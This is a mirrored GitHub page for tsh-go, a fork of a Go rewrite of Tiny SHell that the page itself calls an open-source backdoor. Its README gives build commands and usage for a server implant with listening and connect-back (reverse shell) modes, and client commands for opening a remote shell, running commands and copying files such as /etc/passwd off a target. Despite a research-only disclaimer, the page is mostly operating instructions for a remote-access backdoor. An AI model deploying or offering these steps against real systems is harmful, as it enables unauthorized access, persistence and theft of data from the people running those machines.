GithubHelp home page GithubHelp logo

ewater777 / tsh-go Goto Github PK

View Code? Open in Web Editor NEW

This project forked from cykutw/tsh-go

0.0 0.0 0.0 842 KB

Tiny SHell Go - An open-source backdoor written in Go

License: MIT License

Go 95.25% Makefile 4.75%

tsh-go's Introduction

tsh-go

This is Tiny SHell rewritten in Go programming language.

Disclaimer

This program is only for helping research or educational purpose,

DON'T use for illegal purpose or in any unauthorized environment.

Description

I like tsh and I use it a lot in my daily research work. It's especially handy when researching devices that don't have built-in sshd or are network limited.

However, sometimes these devices use special systems or architectures that can make cross-compiling tsh painful. So I decided to rewrite tsh in go, and thanks to go's powerful cross-platform compilation capabilities, I can use tsh more easily on more systems and architectures.

For example, I successfully compiled to the following platforms:

  • aix
  • darwin
  • dragonfly
  • freebsd
  • illumos
  • netbsd
  • openbsd
  • solaris
  • windows

Usage

Compiling

Help

$ make

Please specify one of these targets:
        make linux
        make windows

It can be compiled to other unix-like platforms supported by go compiler:
        GOOS=freebsd GOARCH=386 make unix

Get more with:
        go tool dist list

Build for linux

$ make linux
env GOOS=linux GOARCH=amd64 go build -trimpath -ldflags "-s -w" -o ./build/tshd_linux_amd64 cmd/tshd.go
env GOOS=linux GOARCH=amd64 go build -trimpath -ldflags "-s -w" -o ./build/tsh_linux_amd64 cmd/tsh.go

How to use the tshd (server)

Help

$ ./build/tshd_linux_amd64 -h
Usage of tshd_linux_amd64:
  -c string
        connect back host
  -d int
        connect back delay (default 5)
  -daemon
        (internal used) is in daemon
  -p int
        port (default 1234)
  -s string
        secret (default "1234")

Listening on target

$ ./build/tshd_linux_amd64

Connect back mode

$ ./build/tshd_linux_amd64 -c <client hostname>

How to use the tsh (client)

Help

$ ./build/tsh_linux_amd64 -h
Usage: ./tsh_linux_amd64 [-s secret] [-p port] <action>
  action:
        <hostname|cb> [command]
        <hostname|cb> get <source-file> <dest-dir>
        <hostname|cb> put <source-file> <dest-dir>
  -p int
        port (default 1234)
  -s string
        secret (default "1234")

Start a shell

$ ./build/tsh_linux_amd64 <server hostname>

Execute a command

$ ./build/tsh_linux_amd64 <server hostname> 'uname -a'

Transfer files

$ ./build/tsh_linux_amd64 <server hostname> get /etc/passwd .
$ ./build/tsh_linux_amd64 <server hostname> put myfile /tmp

Connect back mode

$ ./build/tsh_linux_amd64 cb
$ ./build/tsh_linux_amd64 cb get /etc/passwd .
$ ./build/tsh_linux_amd64 cb put myfile /tmp

tsh-go's People

Contributors

cykutw avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.